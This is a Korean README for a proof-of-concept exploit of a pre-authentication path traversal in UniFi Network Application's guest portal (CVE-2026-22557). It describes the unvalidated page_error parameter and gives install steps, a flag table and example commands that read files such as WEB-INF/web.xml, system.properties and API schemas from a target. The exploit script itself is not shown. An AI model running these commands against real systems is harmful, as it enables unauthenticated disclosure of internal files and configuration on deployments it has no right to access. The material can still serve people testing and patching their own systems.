
# UniFi Network Application 사전 인증 경로 탐색 (CVE-2026-22557) PoC
UniFi Network Application 게스트 포털(/guest/s/{site}/login)의 사전 인증 경로 탐색 취약점입니다. page_error 쿼리 매개변수가 검증 없이 리소스 로더에 전달되어, 인증되지 않은 공격자가 웹앱 내부의 파일(예: WEB-INF/web.xml)을 읽을 수 있습니다.
게스트 포털 페이지가 사용자 지정된 경우, 리소스 로더가 컨텍스트 루트 외부의 기본 시스템에 있는 임의의 파일에 접근할 수 있는 원시 FileInputStream 분기로 대체되는 것으로 보입니다. 아직 이 부분은 확인하지 못했으며, 시간이 되면 추가로 조사하겠습니다.
pip install requests
python CVE-2026-22557.py <target_url> [-f FILE] [-g GUEST_PATH] [-o OUTPUT] [-x PROXY]
| 플래그 | 설명 | 기본값 |
|---|
target | 대상 URL (예: https://host:8843) | (필수) |
-f | 읽을 상대 경로 | ../../web.xml |
-g | 게스트 포털 경로 | /guest/s/default/login |
-o | 응답을 파일로 저장 | (표준 출력) |
-x | 프록시 URL | (없음) |

# 기본값 -- WEB-INF/web.xml 읽기 (HTTPS 게스트 포털)
python CVE-2026-22557.py https://192.168.1.1:8843
# HTTP 게스트 포털
python CVE-2026-22557.py http://192.168.1.1:8880
# 클래스패스 리소스 읽기
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../system.properties
# API 스키마 읽고 파일로 저장
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
# 다른 사이트 이름
python CVE-2026-22557.py https://192.168.1.1:8843 -g /guest/s/mysite/login
# 프록시 경유
python CVE-2026-22557.py https://192.168.1.1:8843 -x http://127.0.0.1:8080